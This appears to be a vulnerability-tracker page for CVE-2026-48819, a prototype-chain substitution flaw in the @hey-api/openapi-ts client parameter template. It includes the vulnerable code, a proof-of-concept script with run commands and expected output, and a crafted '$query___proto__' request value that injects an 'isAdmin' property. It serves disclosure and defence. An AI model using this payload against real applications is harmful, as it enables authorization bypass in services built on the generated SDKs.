CVE-2026-48819

MEDIUMPre-NVD 4.84.8
EchelonGraph scoreLOW confidence

This medium-severity CVE scores 4.8 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
4.8
EchelonGraph verdictMonitorLow exploitation likelihood right now — keep watching.
  • Lower severity and no public exploit yet
CISA-KEV: Not listedEPSS: CVSS: 4.8Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

@hey-api/openapi-ts's buildClientParams template: prototype chain substitution via unknown $___proto__ key

Summary

dist/clients/core/params.ts in @hey-api/openapi-ts ships a runtime template that is copied verbatim into every generated SDK as params.gen.ts. When a caller passes an object argument containing an unknown key starting with a slot prefix ($body_, $headers_, $path_, $query_), the function strips the prefix and writes the remainder directly to that slot without validation. The key "$query___proto__" causes the returned params.query object to have its prototype chain substituted with attacker-controlled data. The issue is present in all versions through at least 0.97.2.

Details

The vulnerable branch in dist/clients/core/params.ts:

const extra = extraPrefixes.find(([prefix]) => key.startsWith(prefix))
if (extra) {
  const [prefix, slot] = extra
  ;(params[slot] as Record)[key.slice(prefix.length)] = value
}

This branch runs for any key that (1) is not registered in the field map and (2) starts with one of the four slot prefixes. When a caller passes "$query___proto__" as an extra key alongside a legitimate field, the key is not in the field map, key.startsWith("$query_") is true, and key.slice(7) produces "__proto__". The bracket-write params["query"]["__proto__"] = value invokes the __proto__ setter, which calls Object.setPrototypeOf(params.query, value).

Reachability. Every generated endpoint method that accepts an object argument passes it through buildClientParams. If the application forwards user-supplied request parameters to a generated client method — a common pattern in proxy servers, BFF layers, and API gateways — an attacker can include "$query___proto__" alongside a legitimate field (e.g. "q"). The legitimate field ensures stripEmptySlots does not remove the affected slot (it has at least one own key), so the poisoned params.query object is returned to the caller.

Concrete field config that hey-api generates for a GET endpoint with one query param q:

// generated by hey-api for: GET /search?q=
buildClientParams([parameters], [{ args: [{ in: "query", key: "q" }] }])

A request { q: "hello", "$query___proto__": { isAdmin: true } } reaches this call with "q" going to the field map branch and "$query___proto__" falling through to extraPrefixes.

PoC

npm install @hey-api/[email protected]
cp node_modules/@hey-api/openapi-ts/dist/clients/core/params.ts ./params.ts
npx tsx poc.ts

or: docker build -t heyapi-poc . && docker run --rm heyapi-poc

poc.ts:

import { buildClientParams } from "./params.ts";

// Generated fields config for GET /search?q= const generatedFields = [{ args: [{ in: "query" as const, key: "q" }] }];

// Attacker request: legitimate "q" plus injected "$query___proto__" const result = buildClientParams( [{ q: "hello", "$query___proto__": { isAdmin: true } }], generatedFields );

const q = result.query as any; console.log(q.q); // "hello" — own property, normal console.log(q.isAdmin); // true — inherited via prototype chain console.log(Object.keys(q)); // ["q"] — own keys only for (const k in result.query) console.log(k); // "q", "isAdmin"

Expected output:

[CONFIRMED] buildClientParams prototype substitution via $query___proto__ key
  Scenario: GET /search with fields [{ in:'query', key:'q' }]
  Attacker request: { q: 'hello', '$query___proto__': { isAdmin: true } }

result.query.q = hello result.query.isAdmin = true ← inherited, NOT own Object.keys(q) = [ 'q' ] for..in keys = q, isAdmin Object.getPrototypeOf = {"isAdmin":true}

No sentinel key is needed. The legitimate field "q" keeps params.query alive through stripEmptySlots. reproduce.zip

Impact

The returned params.query object has its prototype chain substituted with the attacker-supplied value. Any downstream code that iterates it with for..in (e.g., when serializing query parameters for an outgoing HTTP request) will enumerate the injected keys alongside legitimate ones. Applications that check inherited properties on the params object for routing or authorization decisions are also affected.

Global Object.prototype is not modified — impact is limited to the returned slot object and its consumers.

Every npm package generated by @hey-api/openapi-ts carries this template. Downstream packages include @opencode-ai/sdk, @trigger.dev/sdk, and others. A fix in the template propagates to all of them on regeneration.

CVSS v3
4.8
EG Score
4.8(low)
EPSS
KEV
Not listed

Published

July 1, 2026

Last Modified

July 1, 2026

Vendor Advisories for CVE-2026-48819(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Data Freshness Timeline

(refreshed 6× in last 7d / 6× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-07 05:33 UTCEG score recompute
  2. 2026-07-06 03:50 UTCEG score recompute
  3. 2026-07-05 02:08 UTCEG score recompute
  4. 2026-07-04 00:25 UTCEG score recompute
  5. 2026-07-02 22:43 UTCEG score recompute
  6. 2026-07-01 21:02 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-48819?
CVE-2026-48819 is a medium vulnerability published on July 1, 2026. @hey-api/openapi-ts's buildClientParams template: prototype chain substitution via unknown $<slot>_proto key Summary dist/clients/core/params.ts in @hey-api/openapi-ts ships a runtime template that is copied verbatim into every generated SDK as params.gen.ts. When a caller passes an object argument…
When was CVE-2026-48819 disclosed?
CVE-2026-48819 was first published in the National Vulnerability Database on July 1, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-48819?
CVE-2026-48819 has a CVSS v4.0 base score of 4.8 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-48819?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-48819, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

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